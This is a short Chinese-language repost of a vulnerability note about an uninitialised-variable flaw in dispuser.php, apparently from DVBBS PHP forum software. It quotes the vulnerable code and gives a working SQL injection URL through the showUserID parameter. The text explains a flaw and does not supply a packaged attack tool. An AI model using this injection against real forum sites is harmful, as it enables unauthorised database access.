转自:http://www.phpeval.cn/read.php?5
dispuser.php文件
$UserName = trim($name); //这句开始出问题 if( is_numeric($id) ){ $showUserID = intval($id); } else{ //一个逻辑问题 if( $UserName == '' ){ $ErrCodes = $lang['UrlArgError']; //by: phpeval } }
没有考虑到,如果id变量不存在且UserName存在的情况,$showUserID就不会被初始化,这样就给直接get或post提交我们自己构造的$showUserID
下面
if( empty($showUserID) ){ $updStmt .= " WHERE UserName='{$UserName}' "; $stmt .= " WHERE UserName='{$UserName}' "; $onstat = " WHERE UserName='{$UserName}' "; } else{ $updStmt .= " WHERE UserID={$showUserID} "; $stmt .= " WHERE UserID={$showUserID} "; $onstat = " WHERE UserID={$showUserID} "; } if( $query = $db->query($stmt) ){ //注入了,by: http://www.phpeval.cn
直接
http://www.phpeval.cn/dispuser.php?name=phpeval&showUserID=1%20and%201=2
猜
dv php的安全性和dv asp 的安全性不在一个档次。
|